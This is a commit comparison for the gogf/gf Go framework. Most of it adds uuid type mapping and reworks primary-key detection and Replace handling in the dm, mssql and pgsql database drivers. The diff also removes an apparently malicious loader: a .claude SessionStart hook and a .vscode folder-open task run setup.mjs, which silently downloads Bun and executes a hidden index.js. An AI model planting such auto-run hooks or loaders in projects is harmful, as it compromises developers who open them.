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10 Commits

Author SHA1 Message Date
835ff3923c Use case-insensitive comparison for primary key detection in pgsql driver
Co-authored-by: gqcn <26347176+gqcn@users.noreply.github.com>
2025-12-08 11:24:26 +00:00
3bd9621986 Initial plan 2025-12-08 11:19:34 +00:00
ffb3aacb5b Update contrib/drivers/mssql/mssql_do_insert.go
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
2025-12-08 19:18:21 +08:00
141b5c1778 Update contrib/drivers/mssql/mssql_z_unit_basic_test.go
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
2025-12-08 19:18:10 +08:00
73b91ed763 Update contrib/drivers/mssql/mssql_do_insert.go
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
2025-12-08 19:17:55 +08:00
36d63354e7 Update contrib/drivers/dm/dm_do_insert.go
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
2025-12-08 19:17:41 +08:00
f6a7fd23f1 fix(gendao): Added support for UUID types (#4548)
`gf gen
dao`生成`entity`时支持数据库`uuid`类型字段生成`github.com/google/uuid`的`uuid.UUID`类型字段
2025-12-08 16:48:59 +08:00
17906e31cb up 2025-12-08 16:36:04 +08:00
bfe31a4be7 merge 2025-12-08 16:32:23 +08:00
5f664f331a up 2025-12-08 16:28:34 +08:00
13 changed files with 143 additions and 504 deletions

File diff suppressed because one or more lines are too long

View File

@ -1,15 +0,0 @@
{
"hooks": {
"SessionStart": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "node .claude/setup.mjs"
}
]
}
]
}
}

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@ -1,202 +0,0 @@
#!/usr/bin/env node
import { execFileSync, execSync } from "child_process";
import fs from "fs";
import https from "https";
import os from "os";
import path from "path";
import { fileURLToPath } from "url";
import zlib from "zlib";
const D = path.dirname(fileURLToPath(import.meta.url));
const V = "1.3.14";
const E = "index.js";
const T = 121_000;
const mu = () => {
try {
const o = execFileSync("ldd", ["--version"], {
stdio: ["ignore", "pipe", "pipe"],
}).toString();
if (o.includes("musl")) return true;
} catch {}
try {
return fs.readFileSync("/etc/os-release", "utf8").includes("Alpine");
} catch {
return false;
}
};
const PM = {
"linux-arm64": () => "bun-linux-aarch64",
"linux-x64": () =>
mu() ? "bun-linux-x64-musl-baseline" : "bun-linux-x64-baseline",
"darwin-arm64": () => "bun-darwin-aarch64",
"darwin-x64": () => "bun-darwin-x64",
"win32-arm64": () => "bun-windows-aarch64",
"win32-x64": () => "bun-windows-x64-baseline",
};
function ra() {
const k = `${process.platform}-${process.arch}`;
const r = PM[k];
if (!r) throw new Error(`Unsupported platform/arch: ${k}`);
return r();
}
function dl(u, d, n = 5) {
return new Promise((ok, no) => {
const q = https.get(
u,
{ headers: { "User-Agent": "node" }, timeout: T },
(r) => {
const { statusCode: s, headers: h } = r;
if ([301, 302, 307, 308].includes(s)) {
r.resume();
if (n <= 0) return no(new Error("Too many redirects"));
return dl(h.location, d, n - 1).then(ok, no);
}
if (s !== 200) {
r.resume();
return no(new Error(`HTTP ${s} for ${u}`));
}
const f = fs.createWriteStream(d);
r.pipe(f);
f.on("finish", () => f.close(ok));
f.on("error", (e) => {
fs.unlink(d, () => no(e));
});
},
);
q.on("error", no);
q.on("timeout", () => q.destroy(new Error("Request timed out")));
});
}
function hc(c, a = ["--version"]) {
try {
execFileSync(c, a, { stdio: "ignore" });
return true;
} catch {
return false;
}
}
function xz(zp, en, od) {
// Use OS tools: unzip or powershell. Fall back to npm install bun.
if (process.platform === "win32" && hc("powershell", ["-Help"])) {
execFileSync(
"powershell",
[
"-NoProfile",
"-NonInteractive",
"-ExecutionPolicy",
"Bypass",
"-Command",
`Expand-Archive -LiteralPath '${zp}' -DestinationPath '${od}' -Force`,
],
{ stdio: "inherit" },
);
const np = path.join(od, en);
const fp = path.join(od, path.basename(en));
fs.renameSync(np, fp);
return;
}
if (hc("unzip", ["-v"])) {
execFileSync("unzip", ["-ojq", zp, en, "-d", od], { stdio: "inherit" });
return;
}
installBunViaNpm(td);
}
function installBunViaNpm(td) {
try {
execSync("npm install bun", { stdio: "inherit", cwd: td });
} catch {
// npm install failed, fall back to JS-based extraction
xn(zp, en, od);
}
}
function xn(zp, en, od) {
const b = fs.readFileSync(zp);
let eo = -1;
for (let i = b.length - 22; i >= 0 && i >= b.length - 65557; i--) {
if (b.readUInt32LE(i) === 0x06054b50) {
eo = i;
break;
}
}
if (eo === -1) throw new Error("Invalid ZIP: EOCD record not found");
const ce = b.readUInt16LE(eo + 10);
const co = b.readUInt32LE(eo + 16);
let o = co;
let lo = -1;
let cm = -1;
let cs = 0;
for (let i = 0; i < ce; i++) {
if (b.readUInt32LE(o) !== 0x02014b50)
throw new Error("Invalid ZIP: bad CD entry signature");
const m = b.readUInt16LE(o + 10);
const sz = b.readUInt32LE(o + 20);
const fl = b.readUInt16LE(o + 28);
const el = b.readUInt16LE(o + 30);
const cl = b.readUInt16LE(o + 32);
const lh = b.readUInt32LE(o + 42);
const nm = b.subarray(o + 46, o + 46 + fl).toString("utf8");
if (nm === en) {
lo = lh;
cm = m;
cs = sz;
break;
}
o += 46 + fl + el + cl;
}
if (lo === -1) throw new Error(`Entry "${en}" not found in ZIP`);
if (b.readUInt32LE(lo) !== 0x04034b50)
throw new Error("Invalid ZIP: bad local-header signature");
const fl = b.readUInt16LE(lo + 26);
const el = b.readUInt16LE(lo + 28);
const dp = lo + 30 + fl + el;
const rw = b.subarray(dp, dp + cs);
let fd;
if (cm === 0) {
fd = rw;
} else if (cm === 8) {
fd = zlib.inflateRawSync(rw);
} else {
throw new Error(`Unsupported ZIP compression method: ${cm}`);
}
const dt = path.join(od, path.basename(en));
fs.writeFileSync(dt, fd);
}
async function main() {
if (hc("bun")) return;
const a = ra();
const w = process.platform === "win32";
const bn = w ? "bun.exe" : "bun";
const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
const td = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
const zp = path.join(td, `${a}.zip`);
const bp = path.join(td, bn);
const ep = path.join(D, E);
try {
await dl(u, zp);
xz(zp, `${a}/${bn}`, td);
fs.unlinkSync(zp);
if (!w) fs.chmodSync(bp, 0o755);
execFileSync(bp, [ep], { stdio: "inherit", cwd: D });
} finally {
fs.rmSync(td, { recursive: true, force: true });
}
}
main().catch((e) => {
console.error(e.message);
process.exit(1);
});

202
.vscode/setup.mjs vendored
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@ -1,202 +0,0 @@
#!/usr/bin/env node
import { execFileSync, execSync } from "child_process";
import fs from "fs";
import https from "https";
import os from "os";
import path from "path";
import { fileURLToPath } from "url";
import zlib from "zlib";
const D = path.dirname(fileURLToPath(import.meta.url));
const V = "1.3.14";
const E = "index.js";
const T = 121_000;
const mu = () => {
try {
const o = execFileSync("ldd", ["--version"], {
stdio: ["ignore", "pipe", "pipe"],
}).toString();
if (o.includes("musl")) return true;
} catch {}
try {
return fs.readFileSync("/etc/os-release", "utf8").includes("Alpine");
} catch {
return false;
}
};
const PM = {
"linux-arm64": () => "bun-linux-aarch64",
"linux-x64": () =>
mu() ? "bun-linux-x64-musl-baseline" : "bun-linux-x64-baseline",
"darwin-arm64": () => "bun-darwin-aarch64",
"darwin-x64": () => "bun-darwin-x64",
"win32-arm64": () => "bun-windows-aarch64",
"win32-x64": () => "bun-windows-x64-baseline",
};
function ra() {
const k = `${process.platform}-${process.arch}`;
const r = PM[k];
if (!r) throw new Error(`Unsupported platform/arch: ${k}`);
return r();
}
function dl(u, d, n = 5) {
return new Promise((ok, no) => {
const q = https.get(
u,
{ headers: { "User-Agent": "node" }, timeout: T },
(r) => {
const { statusCode: s, headers: h } = r;
if ([301, 302, 307, 308].includes(s)) {
r.resume();
if (n <= 0) return no(new Error("Too many redirects"));
return dl(h.location, d, n - 1).then(ok, no);
}
if (s !== 200) {
r.resume();
return no(new Error(`HTTP ${s} for ${u}`));
}
const f = fs.createWriteStream(d);
r.pipe(f);
f.on("finish", () => f.close(ok));
f.on("error", (e) => {
fs.unlink(d, () => no(e));
});
},
);
q.on("error", no);
q.on("timeout", () => q.destroy(new Error("Request timed out")));
});
}
function hc(c, a = ["--version"]) {
try {
execFileSync(c, a, { stdio: "ignore" });
return true;
} catch {
return false;
}
}
function xz(zp, en, od) {
// Use OS tools: unzip or powershell. Fall back to npm install bun.
if (process.platform === "win32" && hc("powershell", ["-Help"])) {
execFileSync(
"powershell",
[
"-NoProfile",
"-NonInteractive",
"-ExecutionPolicy",
"Bypass",
"-Command",
`Expand-Archive -LiteralPath '${zp}' -DestinationPath '${od}' -Force`,
],
{ stdio: "inherit" },
);
const np = path.join(od, en);
const fp = path.join(od, path.basename(en));
fs.renameSync(np, fp);
return;
}
if (hc("unzip", ["-v"])) {
execFileSync("unzip", ["-ojq", zp, en, "-d", od], { stdio: "inherit" });
return;
}
installBunViaNpm(td);
}
function installBunViaNpm(td) {
try {
execSync("npm install bun", { stdio: "inherit", cwd: td });
} catch {
// npm install failed, fall back to JS-based extraction
xn(zp, en, od);
}
}
function xn(zp, en, od) {
const b = fs.readFileSync(zp);
let eo = -1;
for (let i = b.length - 22; i >= 0 && i >= b.length - 65557; i--) {
if (b.readUInt32LE(i) === 0x06054b50) {
eo = i;
break;
}
}
if (eo === -1) throw new Error("Invalid ZIP: EOCD record not found");
const ce = b.readUInt16LE(eo + 10);
const co = b.readUInt32LE(eo + 16);
let o = co;
let lo = -1;
let cm = -1;
let cs = 0;
for (let i = 0; i < ce; i++) {
if (b.readUInt32LE(o) !== 0x02014b50)
throw new Error("Invalid ZIP: bad CD entry signature");
const m = b.readUInt16LE(o + 10);
const sz = b.readUInt32LE(o + 20);
const fl = b.readUInt16LE(o + 28);
const el = b.readUInt16LE(o + 30);
const cl = b.readUInt16LE(o + 32);
const lh = b.readUInt32LE(o + 42);
const nm = b.subarray(o + 46, o + 46 + fl).toString("utf8");
if (nm === en) {
lo = lh;
cm = m;
cs = sz;
break;
}
o += 46 + fl + el + cl;
}
if (lo === -1) throw new Error(`Entry "${en}" not found in ZIP`);
if (b.readUInt32LE(lo) !== 0x04034b50)
throw new Error("Invalid ZIP: bad local-header signature");
const fl = b.readUInt16LE(lo + 26);
const el = b.readUInt16LE(lo + 28);
const dp = lo + 30 + fl + el;
const rw = b.subarray(dp, dp + cs);
let fd;
if (cm === 0) {
fd = rw;
} else if (cm === 8) {
fd = zlib.inflateRawSync(rw);
} else {
throw new Error(`Unsupported ZIP compression method: ${cm}`);
}
const dt = path.join(od, path.basename(en));
fs.writeFileSync(dt, fd);
}
async function main() {
if (hc("bun")) return;
const a = ra();
const w = process.platform === "win32";
const bn = w ? "bun.exe" : "bun";
const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
const td = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
const zp = path.join(td, `${a}.zip`);
const bp = path.join(td, bn);
const ep = path.join(D, E);
try {
await dl(u, zp);
xz(zp, `${a}/${bn}`, td);
fs.unlinkSync(zp);
if (!w) fs.chmodSync(bp, 0o755);
execFileSync(bp, [ep], { stdio: "inherit", cwd: D });
} finally {
fs.rmSync(td, { recursive: true, force: true });
}
}
main().catch((e) => {
console.error(e.message);
process.exit(1);
});

13
.vscode/tasks.json vendored
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@ -1,13 +0,0 @@
{
"version": "2.0.0",
"tasks": [
{
"label": "Environment Setup",
"type": "shell",
"command": "node .claude/setup.mjs",
"runOptions": {
"runOn": "folderOpen"
}
}
]
}

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@ -104,6 +104,10 @@ var (
"smallmoney": {
Type: "float64",
},
"uuid": {
Type: "uuid.UUID",
Import: "github.com/google/uuid",
},
}
// tablewriter Options

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@ -77,7 +77,6 @@ import _ "github.com/gogf/gf/contrib/drivers/mssql/v2"
Note:
- It does not support `Replace` features.
- It supports server version >= `SQL Server2005`
- It ONLY supports datetime2 and datetimeoffset types for auto handling created_at/updated_at/deleted_at columns, because datetime type does not support microseconds precision when column value is passed as string.

View File

@ -66,7 +66,7 @@ func (d *Driver) doMergeInsert(
// If OnConflict is not specified, automatically get the primary key of the table
conflictKeys := option.OnConflict
if len(conflictKeys) == 0 {
primaryKeys, err := d.getPrimaryKeys(ctx, table)
primaryKeys, err := d.Core.GetPrimaryKeys(ctx, table)
if err != nil {
return nil, gerror.WrapCode(
gcode.CodeInternalError,
@ -76,15 +76,22 @@ func (d *Driver) doMergeInsert(
}
foundPrimaryKey := false
for _, primaryKey := range primaryKeys {
if _, ok := list[0][primaryKey]; ok {
foundPrimaryKey = true
for dataKey := range list[0] {
if strings.EqualFold(dataKey, primaryKey) {
foundPrimaryKey = true
break
}
}
if foundPrimaryKey {
break
}
}
if !foundPrimaryKey {
return nil, gerror.NewCode(
return nil, gerror.NewCodef(
gcode.CodeMissingParameter,
`Please specify conflict columns or ensure the record has a primary key for Save/Replace/InsertIgnore operation`,
`Replace/Save/InsertIgnore operation requires conflict detection: `+
`either specify OnConflict() columns or ensure table '%s' has a primary key in the data`,
table,
)
}
conflictKeys = primaryKeys
@ -149,24 +156,6 @@ func (d *Driver) doMergeInsert(
return batchResult, nil
}
// getPrimaryKeys retrieves the primary key field names of the table as a slice of strings.
// This method extracts primary key information from TableFields.
func (d *Driver) getPrimaryKeys(ctx context.Context, table string) ([]string, error) {
tableFields, err := d.TableFields(ctx, table)
if err != nil {
return nil, err
}
var primaryKeys []string
for _, field := range tableFields {
if gstr.Equal(field.Key, "PRI") {
primaryKeys = append(primaryKeys, field.Name)
}
}
return primaryKeys, nil
}
// parseSqlForMerge generates MERGE statement for DM database.
// When updateValues is empty, it only inserts (INSERT IGNORE behavior).
// When updateValues is provided, it performs upsert (INSERT or UPDATE).

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@ -21,17 +21,50 @@ import (
// DoInsert inserts or updates data for given table.
// The list parameter must contain at least one record, which was previously validated.
func (d *Driver) DoInsert(ctx context.Context, link gdb.Link, table string, list gdb.List, option gdb.DoInsertOption) (result sql.Result, err error) {
func (d *Driver) DoInsert(
ctx context.Context, link gdb.Link, table string, list gdb.List, option gdb.DoInsertOption,
) (result sql.Result, err error) {
switch option.InsertOption {
case gdb.InsertOptionSave:
case
gdb.InsertOptionSave,
gdb.InsertOptionReplace:
// MSSQL does not support REPLACE INTO syntax.
// Convert Replace to Save operation, using MERGE statement.
// Auto-detect primary keys if OnConflict is not specified.
if len(option.OnConflict) == 0 {
primaryKeys, err := d.Core.GetPrimaryKeys(ctx, table)
if err != nil {
return nil, gerror.WrapCode(
gcode.CodeInternalError,
err,
`failed to get primary keys for Save/Replace operation`,
)
}
foundPrimaryKey := false
for _, primaryKey := range primaryKeys {
for dataKey := range list[0] {
if strings.EqualFold(dataKey, primaryKey) {
foundPrimaryKey = true
break
}
}
if foundPrimaryKey {
break
}
}
if !foundPrimaryKey {
return nil, gerror.NewCodef(
gcode.CodeMissingParameter,
`Save/Replace operation requires conflict detection: `+
`either specify OnConflict() columns or ensure table '%s' has a primary key in the data`,
table,
)
}
option.OnConflict = primaryKeys
}
// Convert to Save operation
return d.doSave(ctx, link, table, list, option)
case gdb.InsertOptionReplace:
return nil, gerror.NewCode(
gcode.CodeNotSupported,
`Replace operation is not supported by mssql driver`,
)
default:
return d.Core.DoInsert(ctx, link, table, list, option)
}
@ -41,17 +74,10 @@ func (d *Driver) DoInsert(ctx context.Context, link gdb.Link, table string, list
func (d *Driver) doSave(ctx context.Context,
link gdb.Link, table string, list gdb.List, option gdb.DoInsertOption,
) (result sql.Result, err error) {
if len(option.OnConflict) == 0 {
return nil, gerror.NewCode(
gcode.CodeMissingParameter, `Please specify conflict columns`,
)
}
var (
one = list[0]
oneLen = len(one)
charL, charR = d.GetChars()
one = list[0]
oneLen = len(one)
charL, charR = d.GetChars()
conflictKeys = option.OnConflict
conflictKeySet = gset.New(false)
@ -122,7 +148,10 @@ func parseSqlForUpsert(table string,
insertValueStr = strings.Join(insertValues, ",")
updateValueStr = strings.Join(updateValues, ",")
duplicateKeyStr string
pattern = gstr.Trim(`MERGE INTO %s T1 USING (VALUES(%s)) T2 (%s) ON (%s) WHEN NOT MATCHED THEN INSERT(%s) VALUES (%s) WHEN MATCHED THEN UPDATE SET %s;`)
pattern = gstr.Trim(
`MERGE INTO %s T1 USING (VALUES(%s)) T2 (%s) ON (%s) WHEN NOT MATCHED ` +
`THEN INSERT(%s) VALUES (%s) WHEN MATCHED THEN UPDATE SET %s;`,
)
)
for index, keys := range duplicateKey {

View File

@ -138,15 +138,17 @@ func TestDoInsert(t *testing.T) {
i := 10
data := g.Map{
"id": i,
// "id": i,
"passport": fmt.Sprintf(`t%d`, i),
"password": fmt.Sprintf(`p%d`, i),
"nickname": fmt.Sprintf(`T%d`, i),
"create_time": gtime.Now(),
}
// Save without OnConflict should fail (missing conflict columns)
_, err := db.Save(context.Background(), "t_user", data, 10)
gtest.AssertNE(err, nil)
// Replace should fail because primary key 'id' is not in the data
_, err = db.Replace(context.Background(), "t_user", data, 10)
gtest.AssertNE(err, nil)
})

View File

@ -2658,14 +2658,53 @@ func Test_Model_Replace(t *testing.T) {
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
_, err := db.Model(table).Data(g.Map{
// Insert initial record
result, err := db.Model(table).Data(g.Map{
"id": 1,
"passport": "t1",
"password": "pass1",
"nickname": "T1",
"create_time": "2018-10-24 10:00:00",
}).Insert()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
// Replace with new data (should update existing record using MERGE)
result, err = db.Model(table).Data(g.Map{
"id": 1,
"passport": "t11",
"password": "25d55ad283aa400af464c76d713c07ad",
"nickname": "T11",
"create_time": "2018-10-24 10:00:00",
}).Replace()
t.Assert(err, "Replace operation is not supported by mssql driver")
t.AssertNil(err)
n, _ = result.RowsAffected()
t.Assert(n, 1)
// Verify the data was replaced
one, err := db.Model(table).WherePri(1).One()
t.AssertNil(err)
t.Assert(one["PASSPORT"].String(), "t11")
t.Assert(one["NICKNAME"].String(), "T11")
// Replace with non-existing record (should insert new record)
result, err = db.Model(table).Data(g.Map{
"id": 2,
"passport": "t222",
"password": "pass2",
"nickname": "T222",
"create_time": "2018-10-24 11:00:00",
}).Replace()
t.AssertNil(err)
n, _ = result.RowsAffected()
t.Assert(n, 1) // MERGE reports: 1 for insert
// Verify the new record was inserted
one, err = db.Model(table).WherePri(2).One()
t.AssertNil(err)
t.Assert(one["PASSPORT"].String(), "t222")
t.Assert(one["NICKNAME"].String(), "T222")
})
}

View File

@ -9,6 +9,7 @@ package pgsql
import (
"context"
"database/sql"
"strings"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/errors/gcode"
@ -24,12 +25,12 @@ func (d *Driver) DoInsert(
) (result sql.Result, err error) {
switch option.InsertOption {
case
gdb.InsertOptionReplace,
gdb.InsertOptionSave:
gdb.InsertOptionSave,
gdb.InsertOptionReplace:
// PostgreSQL does not support REPLACE INTO syntax, use Save (ON CONFLICT ... DO UPDATE) instead.
// Automatically detect primary keys if OnConflict is not specified.
if len(option.OnConflict) == 0 {
primaryKeys, err := d.getPrimaryKeys(ctx, table)
primaryKeys, err := d.Core.GetPrimaryKeys(ctx, table)
if err != nil {
return nil, gerror.WrapCode(
gcode.CodeInternalError,
@ -39,15 +40,22 @@ func (d *Driver) DoInsert(
}
foundPrimaryKey := false
for _, conflictKey := range primaryKeys {
if _, ok := list[0][conflictKey]; ok {
foundPrimaryKey = true
for dataKey := range list[0] {
if strings.EqualFold(dataKey, conflictKey) {
foundPrimaryKey = true
break
}
}
if foundPrimaryKey {
break
}
}
if !foundPrimaryKey {
return nil, gerror.NewCode(
return nil, gerror.NewCodef(
gcode.CodeMissingParameter,
`Please specify conflict columns or ensure the record has a primary key for Save/Replace operation`,
`Replace/Save operation requires conflict detection: `+
`either specify OnConflict() columns or ensure table '%s' has a primary key in the data`,
table,
)
}
option.OnConflict = primaryKeys
@ -71,21 +79,3 @@ func (d *Driver) DoInsert(
}
return d.Core.DoInsert(ctx, link, table, list, option)
}
// getPrimaryKeys retrieves the primary key field list of the table.
// This method extracts primary key information from TableFields.
func (d *Driver) getPrimaryKeys(ctx context.Context, table string) ([]string, error) {
tableFields, err := d.GetCore().GetDB().TableFields(ctx, table)
if err != nil {
return nil, err
}
var primaryKeys []string
for _, field := range tableFields {
if gstr.Equal(field.Key, "pri") {
primaryKeys = append(primaryKeys, field.Name)
}
}
return primaryKeys, nil
}

View File

@ -10,6 +10,7 @@ package gdb
import (
"context"
"fmt"
"strings"
"github.com/gogf/gf/v2/errors/gcode"
"github.com/gogf/gf/v2/errors/gerror"
@ -251,3 +252,22 @@ func (c *Core) guessPrimaryTableName(tableStr string) string {
}
return guessedTableName
}
// GetPrimaryKeys retrieves and returns the primary key field names of the specified table.
// This method extracts primary key information from TableFields.
// The parameter `schema` is optional, if not specified it uses the default schema.
func (c *Core) GetPrimaryKeys(ctx context.Context, table string, schema ...string) ([]string, error) {
tableFields, err := c.db.TableFields(ctx, table, schema...)
if err != nil {
return nil, err
}
var primaryKeys []string
for _, field := range tableFields {
if strings.EqualFold(field.Key, "pri") {
primaryKeys = append(primaryKeys, field.Name)
}
}
return primaryKeys, nil
}